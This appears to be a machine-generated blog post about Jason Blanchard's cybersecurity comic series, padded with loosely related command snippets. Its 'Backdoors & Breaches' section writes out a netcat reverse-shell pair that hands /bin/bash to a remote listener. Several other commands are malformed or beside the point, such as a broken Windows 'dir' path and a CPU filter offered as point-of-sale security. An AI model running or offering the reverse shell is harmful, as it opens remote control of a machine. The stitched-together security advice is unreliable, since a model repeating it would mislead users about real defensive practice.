The post discusses Jason Blanchard’s upcoming cybersecurity comic series, THE FUTURE IS 2, blending infosec education with creative storytelling. Here’s how to translate such concepts into actionable cybersecurity practice.

You Should Know:

1. Use Comics for Security Awareness

  • Tools like REKCAH Comics leverage storytelling to teach phishing, malware, and social engineering.
  • Example Command: Use `lynx` (Linux text browser) to scrape comic-based infosec content:
    lynx https://rekcahtx.com -dump | grep "phishing" 
    

2. Simulate Attacks with Backdoors & Breaches

  • Jason’s Backdoors & Breaches game is a CLI-friendly incident response drill.
  • Practice Code: Run a mock breach scenario using netcat:
    nc -lvp 4444  Attacker listener
    nc [bash] 4444 -e /bin/bash  Victim (simulated) 
    

3. Embed Infosec in Creative Media

  • Convert OWASP Top 10 into digestible formats.
  • Python Script to generate a comic-style report:
    from fpdf import FPDF
    pdf = FPDF()
    pdf.add_page()
    pdf.set_font("Arial", size=12)
    pdf.cell(200, 10, txt="COMIC: SQL Injection Explained", ln=True, align='C')
    pdf.output("infosec_comic.pdf") 
    

4. Promote Local Comic Shop Security

  • Secure POS systems (common comic shop targets) with:
    Windows: Check for suspicious processes
    Get-Process | Where-Object { $_.CPU -gt 50 } | Format-Table -AutoSize 
    

What Undercode Say:

Cybersecurity education thrives when fused with creativity. Jason’s comics exemplify how niche topics (e.g., reverse engineering, threat hunting) can become accessible. For hands-on practice:
– Linux: Use `strings` to analyze comic file binaries:

strings /path/to/comic.pdf | grep "http://"  Extract hidden URLs 

– Windows: Audit download directories for malicious files:

dir C:\Downloads.exe /s | findstr /i "malware" 

Prediction:

Comics will become a mainstream medium for infosec training, with interactive elements (QR codes linking to CTF challenges) and AR-powered vulnerability simulations.

Expected Output:

  • How Hack Cybersecurity Concepts into Engaging Comics
  • Commands: Linux (lynx, nc, strings), Windows (Get-Process, dir), Python (PDF generation)
  • URLs: REKCAH Comics, Backdoors & Breaches
